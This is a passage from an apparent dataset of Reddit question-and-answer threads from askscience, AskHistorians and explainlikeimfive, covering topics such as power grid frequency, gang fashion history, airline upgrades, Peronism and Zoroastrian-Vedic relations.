in their abundance.   ", "As your question has been very effectively answered, I'll throw in a mildly interesting fact: certainly in the UK, if there is a drop in frequency, it's compensated for at some point, so if it's at 48hz for ten minutes, at some stage National Grid will generate at 52hz for ten minutes. \n\nThe reason for this is so that devices relying on a reference frequency (mainly clocks/quartz timers) can have an average 50hz signal over time. \n\nHere's a link that shows the graph of UK power frequency, and more info. \n\n_URL_0_", "Generation Dispatcher here...\nThe eastern interconnection is connected from key west all the way to Canada. So turning on a light bulb wont change much. Although if a few thousand people do it at the same time then our load changes. It is not unlikely for us to be dragging (deficient) 100 MW of power... That is 2.5 million lightbulbs. If I was working and people turned on that many light bulbs all at once then I would definitely take notice but those types of fluctuations happen every day. The neighboring utilities wouldn't care and the rest of the interconnection wouldn't see anything at all. Sometimes we lose 700 MW units. Thats like turning on 17.5 million 40 W lightbulbs instantly. That is much more of a problem and we get the neighboring utilities to help us out because the power needs to be replaced within 30 minutes. The frequency will definitely drop to maybe around 59.90 Hz, which is considered low, and then bounce back within a few seconds I have never seen it drop under 59.7 in the past few years.\n\nOur ACE updates about every 2 seconds and we always have units on automatic generation control(AGC) which respond to the current defficiency or excess of power. So our power plants are always pulsing up or down according to load. I think a lot of people assume the power plants are always running at base load. They are not always at max capacity.\n\nTheres a lot of issues with renewables and distributed generation that have not be solved. 1 MW batteries won't cut it... We need about 4000 of those for a average day.\n\n", "If you apply too much load on your drill, it slows down. It stops moving, which means that its rotational frequency reduces. In your drill, electric energy is driving mechanical load.\n\nA generator is like an electric motor, just working in the reverse direction.  This time, mechanical energy is driving electric load.  When the electric load increases, again, the generator starts to slow down.   Which leads to reduction of output frequency. \n\nThe frequency of the output is directly in proportion to generator rotational frequency.    \n", "/u/foreverwinter gives an accurate but incomplete explanation, as it doesn't explain WHY the generators slow down.\n\nGenerators work by spinning a magnet in a bundle of wires, generating a voltage and current. The rationale here is that a changing magnetic field accelerates charged particles, and charged particles in motion generate a magnetic field. This phenomenon is described by Faraday's Law and governed by Maxwell's Equations.\n\nWhen a generator is moving, a certain motive force keeps it going, be it combustion, steam, your foot, etc., and it's applying a certain rotational force to the generator. The amount of times that this magnet spins in a second determines the frequency. That's why AC is sinusoidal, because the magnet is literally going in circles. The reason you need to apply a large force is because as the magnet is spinning in the bundle of wires and causing a current, the current itself is causing a magnetic field that opposes the rotor's movement! This is called Lenz's Law. Imagine if this wasn't the case, you could have free energy forever by applying tiny forces. \n\nI'm going to go with a simple analogy to help visualize the dynamics. It's like you're on a bike, spinning the tires 5 times per second (5 hertz), and as long as you don't gain weight or change the street angle you can keep going putting in the same amount of energy.\n\nWhen you load up the grid, you increase the current demand on the generator, which makes the current higher, which makes the opposing magnetic field stronger within the generator coil/magnet assembly, which attempts to slow down the generator. The generator now has to open up its throttle valves to control the amount of fuel/steam being burnt/expended to spin (in this case) the turbine. In our bicycle analogy, imagine someone hands you a 50lb backpack. If you want to keep the wheels spinning at 5 hertz, you're going to have to put in more leg power.\n\nIf you were to suddenly unload a generator, it would quickly spin out of control, as there is little to counteract its movement other than friction and residual eddy currents. If you don't trip a turbine offline when breakers pop open you're going to see some really disastrous consequences. Imagine you're going at 10mph putting in a certain amount of energy to the pedals, and someone takes your 100lb backpack (ouch). You're going to go a hell of a lot faster and crash onto the pavement.\n\nTo add to the analogy, the grid is is like a very long family bicycle with many people sitting on it, all pedaling. Some people are very big (nuclear plants) and some people are small (gas peaker plants). Everyone pedals at the same speed since the chain is rigid, but due to their size some family members can put in more power than others. If you want to sit on an empty seat and cooperate, your legs better be moving at everybody else's before you touch the pedals otherwise you may break a shin bone (I may be exaggerating). The larger riders set the frequency because they're massive, the little guys can help but they're not setting the pace. If they try too hard to change the frequency they may get hurt. If one of the large guys gets tired, he can apply less force, and another one of the large guys will have to apply more force in order to keep the bicycle at speed. This is how you unload generators: you drop their frequency slowly, which causes the grid to pick up the load. When your generator's load is zero you can open breakers without causing massive arcs and sparks.\n\nSo, when we load the grid, we increase the electromagnetic reactionary force inside the generators, slowing them down, forcing generators to burn up more fuel/use up more steam and work harder to maintain the rotational speed of the magnets and hence the grid frequency.\n\nMore info here on how generators work: _URL_0_\n\nEDIT: Added a website because my English sucks sometimes.\n\nEDIT2: Added Faraday's Law reference", "Power System Operator here, and first ever Reddit reply, here goes!   I work for a large control area in West.   Your question is very timely, because as I write, the Western Interconnection (Western States and Provinces) is performing a manual time error correction, where we adjust the frequency of the power grid to erase an accumulated time error deficit or surplus.    At 1830 PST, the Western Grid was just over 30 seconds behind schedule.  With 60 cycles/second, we are 1800 revolutions behind schedule.   This accumulated deficit occurs over periods of time where the frequency runs below 60 Hz more than it runs above 60 Hz.   To correct this deficit, we set a revised schedule of 60.02 Hz.   We've been targeting 60.02 since 18:30 PST, and as of 22:45 PST, we are now down to a 23 second deficit.  \n\nLarge thermal generators with large, heavy turbines, represent a large amount of inertial rotating mass which stabilizes the system frequency.   Large hydro turbines are also excellent sources of frequency control.    Governor controls respond dynamically to increase or lower fuel input to mitigate frequency excursions.   As we retire older thermal generation and replace it with asynchronous generators like wind, our FRC (Frequency Response Characteristic) weakens, and the grid becomes less stable.  This is a well established trend all over North America.  The grid ultimately will see larger Hz oscillations in response to given disturbances, whether it be a loss of load (high Hz) or a loss of generation (low Hz).  \n\nEfforts are underway to make renewable energy sources frequency responsive, before we ever reach a tipping point where the power grid becomes unstable.   \n\nAs I write this, we are running at 60.032 :)  We get a new scan every second.   My job is awesome!   Hope this answers your question.", "The opposing torque on the rotating generators increases.  The power source can't instantly increase to overcome the extra load.\n\nIt's like riding a bicycle.  You can pedal nice and steady when the ground is flat (constant load).  Once you hit a hill (increased load), the pedals get harder to turn and you slow down.  Keep in mind also that you are the power source (coal, natural gas, etc) in this analogy so you can't just instantly push harder (burn faster).  You need to put more coal in the fire and wait for it to start to burn before you speed up again.", "Electrical Engineer here.\n\nHaving been in many multi-disciplined engineering situations it's easier for non-electrical folks to understand this by analogy.\n\nIf you picture a small gas generator connected to your house in a blackout, and you turn your air conditioner on, it slows down momentarily until the speed control system (govenor) can compensate by adding fuel/oxygen (more power); the frequency (RPM of the generator) will restore itself.  If it can't, it'll probably trip (turn off) (exceeds rated power output).  This control system isn't instantaneous and needs time to react.  \n\nMost electrical power systems have similar frequency regulation whereas if the grid voltage dips too far (e.g. perhaps 58.7?) what is known as an Underfrequency trip (IEEE 81 function) may shed load on feeders.  \n\nWhen you run your AC system in your car (flick the AC button ON/OFF) watch your engine RPM's; or headlights.  There's similar stuff going on.  AC ain't free; kill it.\n\nMore than that requires discussion of things like torque slip, induction motors, true/apparent power, and so on; way higher level than this course well, perhaps?  \n\nIf you're asking this question for that reason you're probably in school for this stuff in a power systems course."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.reddit.com/user/ForeverWinter", "https://www.youtube.com/watch?v=UTM2Ck6XWHg"], ["http://www2.nationalgrid.com/uk/services/balancing-services/frequency-response/"], [], [], ["http://science.howstuffworks.com/electricity3.htm"], [], [], []]}
{"q_id": "rfrkk", "title": "How likely is it that I have a piece of the original DNA in me?", "selftext": "So, given that all life on earth has a single common ancestor; the first string of self replicating DNA that went on to develop all creatures. \n\nWhat are the odds that there is even a single atom from that first life form that has been passed down through each generation and is now inside me?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rfrkk/how_likely_is_it_that_i_have_a_piece_of_the/", "answers": {"a_id": ["c45ghd7", "c45h6xs"], "score": [3, 4], "text": ["I'm not sure the question makes sense because it's hard to say whether an atom has an identity. But assuming it does...\n\nA similar problem has been posed about molecules of water. Apparently it is virtually certain that every glass of water contains one water molecule that at one time passed through  < insert historical figure here > . [Here's the calculation.](_URL_0_) But this is rather a bad argument because the molecules could have been destroyed an recombined in chemical reactions numerous times.\n\nNow you are asking about *atoms*, which can only be destroyed through nuclear reactions, but you are asking about them being passed down genetically, which is a much more strict constraint on the problem. I'm not sure where I would start.", "I'll start with some terrible assumptions, all of which are chosen to favor your odds:\n\n1. By \"piece of the original DNA\", you mean \"at least one base pair\".\n\n2. There are 3 billion base pairs in a genome (this is close for humans).\n\n3. A new generation occurs every 10 years.\n\n4. Life has existed for 1 billion years, ie. 100 million generations.\n\n5. Average number of cells per generation is 1 million (humans have 10^13 IIRC, but there would have been many generations with very few, so this is hard to judge).\n\nIf the first cell of the first common ancestor had 3 billion of the \"original\" base pairs, which were then distributed evenly among its 1 million cells, each cell had 3,000 of the originals. One of these cells then created offspring (I'll exclude sexual reproduction here because I've already made assumptions which would skew the results far more than this, but I don't *think* it would matter anyways).\n\nThese 3,000 base pairs are then evenly distributed among 1 million cells, giving each cell on average 0.003 of the original base pairs.\n\nThe number of base pairs you have is therefore 3,000,000,000 x (1/1,000,000)^(generation number). Your generation number is 100,000,000. You can't calculate a number this small on a computer, so I'll just do order of magnitude.\n\n10^9 x 10^(-6*100,000,000) = 10^-599999991\n\nI could come up with some analogies to explain how small this number is, but I'll just leave it at \"You do not have a piece of the original DNA in you\".\n\n\nEdit: Atoms are a different story, see Veggie's reply. Earth is also a relatively closed system, so it's very likely that something got reused at some point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mathematics.bigparadox.com/water-s.asp"], []]}
{"q_id": "43khqa", "title": "Gang members in the early 1900s seem to be much better dressed than gangs today. Why?", "selftext": "[This picture of a \"Street gang from 1916\"](_URL_0_) is on the frontpage of the pics subreddit right now. They're definitely scruffy but it seems they do care about \"gentlemanly\" appearance to an extent. Some are in ties, some have buttoned overcoats and laced boots.\n\nThis made me think, all the gang pictures I've seen from the early and mid 1900s show people who are kind of well dressed. Like the Mafia has a reputation of dressing up in buttoned shirts, suits, etc, even while conducting their dirty business.\n\nTransitioning to the 1980s and 1990s, the stereotypical image of a gang seems to have changed to someone who's dressed sloppier. Like jeans, baggy t-shirts, etc. (Not trying to be racist: I'm referring to gangs of all ethnicities.)\n\nIs this confirmation bias on my part or did American gangs in the early 1900s emphasize good looks and respectable clothing? Why would they care about that?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/43khqa/gang_members_in_the_early_1900s_seem_to_be_much/", "answers": {"a_id": ["cziyjyw", "czj18sc"], "score": [20, 55], "text": ["This has to do more with evolving standards of dress than the comportment of gang members specifically. Up until the 1950s and 1960s, and even up to the 1970s depending on place, men were expected to wear clothing that we would consider more formal today. A button-down shirt or polo and slacks would be considered a step above casual today, but in that time, it would have been considered the bare minimum of presentability for men in public. Anything less was seen as d\u00e9class\u00e9, the clothing of manual laborers, or underwear, and a coat and tie at minimum was typically the standard for adult men. By the mid-1950s, the United States was beginning to undergo a cultural shift that made less formal clothing more acceptable, starting with beatniks and hipsters and gradually spreading to the population as a whole. This made things like t-shirts, previously considered underwear, and jeans, which had previously been worn mostly by blue-collar workers like construction workers, became more accepted. As culture in general changed, so did the criminal element, and so gang members came to wear t-shirts and jeans like most other young people in the United States at the time.\n\nHowever, none of this is to say that gang members were classier back in the day, or that people all dressed better tan they do now. Gang members, of course, committed a massive number of crimes while wearing suits and ties. Suits and other dress clothes, particularly those of the lower classes, were often poorly made, ill-fitting, and/or made from cheap materials to lower prices, meaning that many people wearing a coat and tie weren't dressed in a manner which we would consider good-looking today. In addition, less formal suits, jackets, and slacks came in a wide variety of colors, which ranged from tasteful to (subjectively) eye-searing. Effectively, dress standards have relaxed over the years, but that doesn't mean everyone was wearing a subdued business suit and business tie from 1900 to 1960.", "To be honest, I'm not really seeing anything \"gentlemanly\" about that picture. Their clothes are dirty, their shirts are unbuttoned, their jackets are over-sized, their ties aren't properly tied etc. Compare them to [menswear illustrations](_URL_4_) from around the same time and they look very obviously \"low class\" relatively.\n\nAs u/Hk37 said, what makes them look \"gentlemanly\" to you is likely because as somebody who lives in the 21st century you see suits and ties etc. as being elements of \"formal\" or \"respectable\" clothing. But for somebody living in an urban environment in 1916 when wearing a jacket and cap was the fashion norm for men, that isn't really the case.\n\nThat definitely isn't to say that gang members never value \"good looks and respectable clothing\", but what that means to gang members is extremely relative to their own culture and the period in which they live. What somebody who lives in a neighborhood with gangs present considers to be fashionable is not likely to be the same as what an upper class person in a different part of town is going to consider fashionable. \n\nTake a picture like [this](_URL_6_) from the 1930s-1940s of the Clanton 14 gang (which still exists today). To us, they look fairly \"respectable\" in that they are wearing suits and \"formal\" shoes. But if you were living in Los Angeles in the 30s and 40s you would probably pin them as being [\"Zoot Suiters\"](_URL_7_) or \"Pachuchos\" which carried the same kind of [racist](_URL_3_) [connotations](_URL_1_) [of](_URL_2_) [criminality](_URL_5_) and extravagance that outsiders would associate with [\"hip hop fashion\"](_URL_0_) or \"cholo clothes\" in the 80s and 90s. \n\nEssentially, fashion styles popular in poor (particularly non-white) communities are generally seen as \"sloppy\" because of their associations with the communities, regardless of what they actually look like. We only see gang members from earlier time periods as being \"classier\" than more modern gang members because we are too far removed from the original context to attach the same connotations that somebody living in that time period would."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/9JB4kh7.png"], "answers_urls": [[], ["http://articles.latimes.com/1988-05-11/local/me-2379_1_rival-gang-members", "http://images.rarenewspapers.com/ebayimgs/9.20.2011/image066.jpg", "http://extras.mnginteractive.com/live/media/site205/2013/0530/20130530_094255_060843_LONGBEACHIND_PG1.jpg", "http://kennethburt.com/blog/wp-content/uploads/2012/02/zoot-suit2313.jpg", "https://dckaleidoscope.files.wordpress.com/2009/04/mens-suits-1916.jpg", "http://kennethburt.com/blog/wp-content/uploads/2012/02/Wash-Post-Zoot-Suit2.jpg", "http://i.imgur.com/ZYlw67X.jpg", "https://en.wikipedia.org/wiki/Zoot_suit"]]}
{"q_id": "3xp21p", "title": "What happened to the SA after the Night of the Long Knives?", "selftext": "I know they officially remained in existence. But at the same time, they didn't really seem to do anything. In the history books I've read, the story of the SA basically finishes at the Night of the Long Knives. The story then focuses on the SS and the Wehrmarch. \n\nBut if they still existed, they must have been doing something. Why wasn't it just abolished eventually? What did they do?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3xp21p/what_happened_to_the_sa_after_the_night_of_the/", "answers": {"a_id": ["cy6rdcf"], "score": [2], "text": ["The SA was downsized after the Night of the Long Knives but as you posted they remained in existence until the end of the war under the command of Victor Lutze up to his death in '43, followed by Wilhem Schepmann. As you'd expect from the militia-obsessed Third Reich, they had their own combat branch, semi-analogous to the Waffen-SS but much smaller, called Feldherrnhalle.\n\n\nSources: Jill Halcomb's *The SA: A Historical Perspective*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ozcm4", "title": "George Washington is known for humility: Living in his family home, turning down a third term and excessive powers, accepting the title of \"Mr. President\" among more exalted titles. How did he feel about the Capital city being named in his honor?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ozcm4/george_washington_is_known_for_humility_living_in/", "answers": {"a_id": ["d4h6zmz", "d4hb5rl"], "score": [4, 7], "text": ["What were the other, more exalted titles?", "I hope it's ok that I post [this](_URL_0_) here as it speaks to the premise of your question. u/TRB1783 answered my question about Washington's personality. Maybe he has insight concerning your actual question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/47ed8s/george_washingtons_personality/"]]}
{"q_id": "6ycv9t", "title": "What happened to Arabic speaking Jews?", "selftext": "I heard that 800 years ago 90% of jews spoke Arabic. What caused the proportion of Arabic speaking Jews to drop to around 10% prior to world war 2?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ycv9t/what_happened_to_arabic_speaking_jews/", "answers": {"a_id": ["dmmgj2g"], "score": [2], "text": ["Where did you find the 10% statistic? The Jewish populations of Arabic-speaking countries prior to the foundation of Israel was substantial. I haven't looked at this question directly, but it would be surprising to me if the Mizrahim/Yemeni Jews were only 10% of Jewry."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9j2awj", "title": "how do you get on plane \u201cupgrade lists\u201d? also, how do they prioritize the people on those lists?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9j2awj/eli5_how_do_you_get_on_plane_upgrade_lists_also/", "answers": {"a_id": ["e6o2ovu", "e6o2zc0", "e6o4ndx", "e6o5sii", "e6o7v0s"], "score": [13, 7, 2, 3, 2], "text": ["Be a member of the airline's loyalty program and fly with them regularly.\n\nAlternatively, booking through a travel agency can also get you on the upgrade list.", "Every airline is different; some do not offer upgrades at all, no matter what. There are some general sequencing rules, but the gate agent has ultimate authority and can bend rules for you if you have a good story/needs/brought chocolate.\n\nThe most common upgrade is someone with a lot of mileage status; they can book a coach seat and get a free upgrade as long as nobody buys them first.\n\nThe second most common way is to arrive at the gate very early, and ask at the counter.\n\nYou'll be prioritized roughly in order of who came first, but mileage upgrades still trump people that are just asking, just like how people that want to pay for the upgrade can trump everyone else.\n\n", "Important to know: This depends on the airline, several have different policies.\n\nIn general, to the best of my knowledge (I'm a 1+ million mile flyer) there are a few ways (in order of priority):\n\n* Brute Force\n * Pay for it \n * Use points or a voucher for it (Some airlines give out annual upgrade vouchers to their elite travelers)\n\n* Status\n * Some airlines (United, for example), will automatically put their elite travelers on the upgrade list (complementary)\n * Most airlines will bump elite travelers when the flights are full in coach and they need to find some seats\n\n* Humanity\n * If you show up with a cast, you have some odds\n * If you are on a honeymoon/very special occasion, you have some odds\n * If you have been bumped from other flights, you have some odds (but these odds are zero if you are along with hundreds of other people also bumped from the same flights, as many of them will have status)\n * If you look the part, and have some charm/wit/humor, and you hit the right person at the right time, you have some (albeit small) odds. By look the part I mean you are dressed like someone who belongs in premium, they aren't hooking you up wearing flip flops and an undershirt.\n\nAlso, LPT: if you are a business traveler, pick one Alliance ([Star Alliance, OneWorld, etc](_URL_0_)) and then pick one Airline in that alliance, and do your absolute best to stay with that one airline. Points add up faster than you think, and the long term benefits are unquestionably worth it. If you are a occasional personal traveler, you should do the same, but payoff is much less.", "The upgrade list is typically people who have the various status levels of frequent flier programs, because they fly often and/or long distances regularly... it's the businessman who flies weekly, and who books last minute so be pays 3x what you did for your basic economy fare booked 6 months ago.", "Stick to an Airline, then get one of thier credit cards. AA for me. I'm first class every time I travel from home to large hub and 70% chance of being 1st on long flights. . I find AA the easiest to read and follow and manipulate. I travel about 1 every to months... from tx...to bos....from tx....to sacramento"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Airline_alliance"], [], []]}
{"q_id": "24s43p", "title": "What similarities had the vikings and the steppe hordes, such as the mongols, turks, huns, apart from both being motivated by plunder?", "selftext": "For example, in what ways were their strategies alike?\n\nIn addition, why does it look like there were several successful steppe hordes motivated by plunder, while the vikings seems to stand alone as plunder motivated infantry?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24s43p/what_similarities_had_the_vikings_and_the_steppe/", "answers": {"a_id": ["chbi72d"], "score": [2], "text": ["Instead of looking at the Vikings as infantry, it might be useful to see them as a sea horde as opposed to a steppe horde.\n\nThis would give the Vikings the similar features to the steppe hordes of extreme mobility compared to the sedentary populations on whom they preyed.\n\nThis mobility gave both the steppe hordes and the Vikings the ability to choose their points of surprise attack, to retreat rapidly if locally outnumbered, and to strike somewhere else rapidly.  They could concentrate dispersed forces quickly to mount more powerful attacks, and disappear suddenly with their plunder without fear of pursuit.\n\nAs a sea horde, motivated by plunder (and also trade), the Vikings would not stand alone.  The Barbary states, pirates from Ancient Times to the Great Age of Pirates, early Dutch and Portuguese seafarers in the Indian Ocean might be seen as somewhat similar."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21zfvq", "title": "peronism and anti-peronism in argentina", "selftext": "If both the Peronist and anti-Peronist coalitions (e.g. Radicales) have left and right wings - what, if not left/right ideology explains someone's party affiliation/ identification in contemporary Argentina? I have yet to get a satisfactory answer.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21zfvq/eli5_peronism_and_antiperonism_in_argentina/", "answers": {"a_id": ["cgi0ke8"], "score": [5], "text": ["First of all sorry if its long, but since you states you are not pleased with any answer so far I took the liberty of explianing a little bit more than a 5 yr old would understand. I left out some technical stuff but feel free to do follow up questions.\n\nAs an argentine:\n\nThe trick is to remove yourself from the constraints of the typical liberal democracy party system.\n\nMost of Europe and USA likes to divide parties in neat and seperate categories of which the most used is the left/right divide.  This is likely due to the fact that this separation is originally european and makes understanding our political scene dificult beacause there is not 1 left party and 1 right party the same way it happens in UK, Canada,USA, NZ, France, Spain.\n\n The peronist doctrine revolves around the concept of *social justice* but the means to achieve this social justice is not with the invisible hand nor with the revolution of the protelariat, but rather a 3rd option or *la tercera via*. The solution is the *Unidad Nacional* or national unity which is achieved by using the State as a mediator between the Capital and Labour trying to redistribute the wealth equally but coming from the companies by negotiating collective salary increments and not by taxing and subsidising (which does happen though).\n\nTherefore political aligeance,  which is the core of your question, is identified by a conplex mix and intricate collection of concepts and elements. Peronism has some right wing elements such as social order and heiarchy but also leftist trends such as strong unions and workers rights. \n\nFirst if you accept Peron and his ideas then you are in the peronist area. Afterwards depending on how much importance you give to each element will dictate where on the left/right scale you are WITHIN the *peronist movement*.\n\nIf you reject Peron then you have the Radicales, or if you are left leaning, the minority Socialists. Also there is a new center right party in Argentina called Pro that's mostly radiated within the capital city."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "av529d", "title": "Why were the soldiers so much more chivalrous towards each other in WWI than in WWII?", "selftext": "In WWI you hear accounts of soldiers on opposing sides fraternizing, a common sense of sympathy for the men on the other side, and of course the renowned 1914 Christmas truce. \n\nWhy was this not the case in WWII? Things seemed so much harsher, with much more animosity between sides. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/av529d/why_were_the_soldiers_so_much_more_chivalrous/", "answers": {"a_id": ["ehdu1nn"], "score": [2], "text": ["WW2 had more of a racial element to it than WW1, both in Europe and the Pacific.  Presumably you know about the Nazis and their policies, which would ensure that even after surrendering you'd likely have a bad time if you were Jewish or Slavic.  The Japanese were similarly brutal, and the Allies were quite nasty to Japanese POWs as well.\n\nWW2 also featured far more civilian losses on both sides - in fact civilian casualties outnumbered those of the military.  So, chances are very good that someone you know and love was murdered in an air raid or by firing squad.  It is a lot easier to hate the enemy if you feel vengeful towards them, as opposed to seeing them as Just Some Other Fellows that are being thrust into the meatgrinder by politicians.\n\n & #x200B;\n\nThat being said, WW2 did have its chivalrous moments, and these particularly happened on the Western Front.  There really wasn't any racial animosity between Germans and West Europeans/Americans so surrendering was unlikely to get you murdered.  North African campaign is held up as the 'friendliest', and this is likely because neither side's civilians were really involved in the conflict in large numbers so there weren't too many instances  of executions or partisan resistance which tends to inflame things.  German occupation forces often had a policy of killing 10, 20, 50, or even 100 locals for every German killed by partisans.  In many places this could turn minor incidents into major bloodbaths, with cycles of revenge feeding more violence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gxoon", "title": "is it better to have a shower in the morning or at night?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gxoon/eli5_is_it_better_to_have_a_shower_in_the_morning/", "answers": {"a_id": ["ckngxzz", "ckngzfy", "ckngzrq", "cknh7kr", "cknhfkq", "cknhmpu", "cknhurv", "ckniqpa", "cknj93a", "cknk5ya", "cknlj7f", "cknpkis"], "score": [14, 21, 18, 2, 4, 3, 14, 4, 8, 5, 2, 2], "text": ["Morning showers are good for waking up i find, and night showers are good for helping you relax. As for health, i don't really think it matters. I alternate between morning for work days, and night for my days off.", "Why not have both?\n\n*Celebration*", "Night showers for me, mainly to keep my bed fairly clean. But then, I'm a night person, and that might affect my choices too.", "Can't say it is supported by science but I grew up in a cold country and never showered in the mornings during wintertime (8 out of 12 months). I was told it would remove natural oils from my skin that worked as a nice warm insular protection from cold.", "At night. Supposing you leave the house during the day, it is likely that you pick up all kind of dirts and bacteria during the daytime. Therefore it is better to get rid of it at night so it does not bother your sleep and those superfacial bacteria do not reproduce while yuo sleep.", "Middle of the day showers!!!! For those of us who dont work in the morning.", "My reasons for showering in the morning:\n\n- I have major bedhead that is unfixable without it being wet.\n\n- I sweat a lot at night.\n\n- It helps me to wake up and begin a productive day.", "Night. Because my hair doesn't dry in any reasonable timeframe. ", "I shower at night. I can't comprehend how people can go to bed sorry or sweaty etc. ", "Shower in the morning when you wake up and then again when you get home for the last time in the evening.", "I would say it depends when you are most likely to be in (close) contact with other people. I tend to shower before I go out, sometimes that's in the morning, sometimes the afternoon and sometimes the evening. \n", "Night showers are good for relaxing. Not only do you go to bed nice and clean, but its also a place to reflect on the day. Extra plus the bed stays clean. \n\nMorning showers are great for waking up, but only if you have extra time to take them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "20bknz", "title": "if a feather entered the earth's atmosphere, would it burn up? or would it just slowly fall to earth?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20bknz/eli5_if_a_feather_entered_the_earths_atmosphere/", "answers": {"a_id": ["cg1m1o1", "cg22ym5"], "score": [5, 2], "text": ["Things burn up on entry because they hit the atmosphere at great speed and cause the air to compress and heat up. \n\nA feather falling into the atmosphere wouldn't have enough kinetic energy to do that. The atmosphere would slow it down and it'd eventually drift down.\n", "A feather has a very low terminal velocity. If you drop it from waste height it doesn't continue to accelerate. Dropping it from upper atmosphere would be the same as from waste height. As it has been hinted at below it would be dependent on the initial speed of entry. The primary reason why space ships heat up is because they are coming out of orbit  and are entering the atmosphere with very fast speeds. If a space ship had been just dropped from space very little heating would occur and it would glide down to a landing.  TLDR: If the initial velocity is zero then it will be fine.  If the Feather has a velocity capable of orbit it will burn."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1rumhw", "title": "what is the difference between a nonaggression pact and a peace treaty", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rumhw/eli5_what_is_the_difference_between_a/", "answers": {"a_id": ["cdr3l1h"], "score": [3], "text": ["Non agression means you agree to not attack the other side, and usually to reduce military forces stationed along border regions.  These have mostly gone out of fashion, but they only really make sense when  one party is at war with someone else, or will be soon, and wants some sort of agreement that they're not going to be stabbed in the back.  Of course... stabbing in the back is largely what happened.  \n\nPeace means you have settled borders for the  moment and that you aren't shooting at each other.  You recognize the other country as an entity that can legally make treaties and that has some claim on territory.  You may not like handing over whatever you're giving away, but you agree they can have it.  \n\nA truce is more of a 'ok we're not going to shoot at you, you're not going to shoot at us, but we still want our _________ back'.  (E.g. Both North and South Korea claim ownership of the entirety of Korea.  Peace would mean recognizing two separate countries on the Korean Peninsula).  We won't settle until we get what we want.  \n\nAlliances come in varying degrees too - you can agree to a defensive alliance (where you will defend whomever is attacked), you can agree to an aggressive alliance (where you'll attack whomever they attack) or you can agree to complicated hybrids where you will agree to defend the other guy if they end up at war with more than 1 great power or something  complicated like that (The UK and Japan had an agreement like that until 1925). \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9caa9z", "title": "Were ancient Indians and Iranians aware of their shared cultural and linguistic heritage?", "selftext": "Would Indians of, say, the Mauryan period have viewed the Iranians as a related people? Is there any evidence of the first Parsis who arrived in India observing the similarities between Avestan and Sanskrit? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9caa9z/were_ancient_indians_and_iranians_aware_of_their/", "answers": {"a_id": ["e5aggyj"], "score": [16], "text": ["So, something that must be understood before venturing this question is that the relationship between Zoroastrianism and the Vedic tradition underlying Hinduism is inherently antagonistic. This is perhaps a classic example of familiarity breeding contempt - they share cosmology and metaphysics, and agree that righteousness is to be identified as acting in accordance with rta/asha (roughly, the natural order of things, truth). The original point of division, however, seems to have been that where Vedic tradition came to celebrate martial virtues (most clearly embodied in the god Indra), early Zoroastrians seem to have rejected the idea that martial prowess could be inherently virtuous. I go into some of this [here.](_URL_1_)\n\nAs I note in the reply to the follow-up question in the linked answer, we actually find mentions in the Vendidad dating to the Parthian period of both several Vedic deities - Indra, Nasatya and Rudra (the last of which would become known as Shiva in Hinduism) - and even Buddha. Except, they're mentioned as _daeva_ (sometimes translated \"demons\", perhaps better understood as \"false deity\" or \"entity unworthy of worship\"). That's just after the Mauryan period. What I'm getting at is, in this period, I really would not expect much in the way of constructive interfaith dialogue. Unfortunately, it's a poorly sourced era in general in that region, and I haven't been able to find any records of interaction. In fact, the 700-page _Wiley-Blackwell Companion to Zoroastrianism_ doesn't even have a heading for Zoroastrianism and Hinduism or anything like that beyond their very earliest shared origins.\n\nSo moving on to the second part: it is absolutely certain that the Parsis would have noted the similarities between Avestan and Sanskrit, for the incredibly banal reason that they translated much of their scriptures into Sanskrit (which was later used as a basis for the more well-known Gujarati translations). The two languages are so similar that it would be impossible not to note similarities when doing that.\n\nThe aforementioned Wiley-Blackwell has exactly one sentence that really gets to the heart of the question:\n\n > For their part, in what is known as the _Slokas_, in Sanskrit, the Parsis presented their religion as being compatible with Hinduism, though there is a doubt as to whether they were written by a Parsi or a Hindu...\n\nThe Slokas are sixteen verses that purport to recall Parsi refugees presenting their religion to the Hindu king Jadi Rana. The WB Companion refers to Schmidt's 1960 \"The Sixteen Sanskrit Slokas of Aka Adhyaru\", which concludes \"On the whole the suspicion cannot be suppressed that the Sixteen Slokas are a spurious product and cannot be considered as authentic\" - meaning that they are likely a Hindu forgery. Let's have a look at one of the verses:\n\n > 2. Who, in the time of bath, 